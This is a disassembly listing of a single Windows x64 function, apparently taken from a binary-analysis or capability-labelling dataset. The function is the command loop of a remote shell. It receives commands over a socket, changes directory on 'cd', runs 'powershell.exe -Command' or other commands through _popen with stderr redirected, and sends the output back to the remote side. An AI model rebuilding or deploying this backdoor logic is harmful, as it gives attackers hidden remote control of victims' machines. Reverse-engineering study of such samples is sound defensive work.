Function at 0x140001e5b
Capabilities:
Get common file path
Set current directory

Disassembly:
push rbp
push rbx
mov eax, 0x4228
call fcn.14000f4e0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov rax, rbp
mov rcx, rax
call fcn.140088e80
lea rax, [rbp + 0x20]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rdx, [rbp + 0x20]
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x404f]
mov qword [rbp + 0x4190], rax
nop
nop
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rcx, [rbp + 0x404f]
lea rax, [rbp + 0x4020]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4020]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x4020]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x404f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140088e80
lea rax, [rbp - 0x60]
mov edx, 0
mov rcx, rax
call sym.recv_abi:cxx11__int_
lea rax, [rbp - 0x60]
lea rdx, str.exit
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
jne 0x140001f61
lea rax, [rbp - 0x60]
lea rdx, str.error
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
jne 0x140001f61
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
je 0x140001f68
mov eax, 1
jmp 0x140001f6d
mov eax, 0
test al, al
je 0x140001f7b
mov ebx, 0
jmp 0x140002342
lea rax, [rbp + 0x4050]
lea rdx, [rbp - 0x60]
mov r9d, 3
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x4050]
lea rdx, [0x14009b073]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov ebx, eax
lea rax, [rbp + 0x4050]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140002157
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov r9, 0xffffffffffffffff
mov r8d, 3
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
test eax, eax
setne al
test al, al
je 0x140002098
lea rax, [rbp + 0x20]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rdx, [rbp + 0x20]
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x409f]
mov qword [rbp + 0x4188], rax
nop
nop
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rcx, [rbp + 0x409f]
lea rax, [rbp + 0x4070]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4070]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x4070]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x409f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140002140
lea rax, [rbp + 0x40c0]
lea rdx, [rbp - 0x40]
mov r8, rdx
lea rdx, str.Directory_not_found:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x14009b08d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x40a0]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x40a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x40e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x40e0]
mov rcx, rax
call sym.sendAll_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x40e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.clear__
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 1
jmp 0x140002342
lea rax, [rbp + 0x4100]
lea rdx, [rbp - 0x60]
mov r9d, 0xa
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x4100]
lea rdx, str.powershell
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov ebx, eax
lea rax, [rbp + 0x4100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140002254
lea rax, [rbp + 0x4140]
lea rdx, [rbp - 0x60]
mov r9, 0xffffffffffffffff
mov r8d, 0xb
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
mov r8, rdx
lea rdx, str.powershell.exe__Command__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x4120]
lea r8, str.__2_1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4140]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, [0x14009b0bb]
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x4198], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002290
lea rax, [rbp - 0x60]
lea rdx, str._2_1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.append_char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, [0x14009b0bb]
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x4198], rax
cmp qword [rbp + 0x4198], 0
je 0x14000233d
jmp 0x1400022d5
mov rdx, qword [rbp + 0x4198]
lea rax, [rbp + 0x20]
mov r8, rdx
mov edx, 0x4000
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
je 0x1400022d5
lea rdx, [rbp + 0x20]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.append_char_const_
mov rax, qword [rbp + 0x4198]
mov rcx, rax
call sym.feof
test eax, eax
sete al
test al, al
jne 0x1400022a0
mov rax, qword [rbp + 0x4198]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x4160]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x4160]
mov rcx, rax
call sym.sendAll_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x4160]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.clear__
mov ebx, 2
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test ebx, ebx
je 0x14000235a
cmp ebx, 2
jmp 0x140001f12
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400024b8
add rsp, 0x4228
pop rbx
pop rbp
ret